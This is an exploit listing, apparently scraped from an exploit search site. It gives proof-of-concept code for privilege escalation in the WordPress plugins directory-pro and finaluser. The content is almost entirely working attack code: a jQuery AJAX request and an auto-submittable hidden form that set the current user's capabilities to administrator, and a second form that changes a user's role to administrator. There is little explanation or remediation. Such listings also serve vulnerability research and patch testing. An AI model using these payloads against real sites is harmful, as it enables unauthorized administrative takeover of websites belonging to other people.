Share
## https://sploitus.com/exploit?id=WPEX-ID:D079CB16-EAD5-4BC8-B0B8-4A4DC2A54C96
directory-pro (set current logged in user to admin)
jQuery.ajax({
url: "http://localhost/wp-admin/admin-ajax.php",
method: 'post',
data: {
action: "iv_directories_update_profile_setting",
form_data: `wp_capabilities[administrator]=1`
},
success: function(res){
console.log(res)
}
});
<html>
<body>
<form action="http://[WP]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="iv_directories_update_profile_setting" />
<input type="hidden" name="form_data" value="wp_capabilities[administrator]=1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
finaluser (edit user to set as admin):
<html>
<body>
<form action="http://[WP]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="ep_finaluser_update_user_settings" />
<input type="hidden" name="form_data" value="user_role=administrator&payment_status=success&exp_date=&ep_status=publish&user_id=2" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>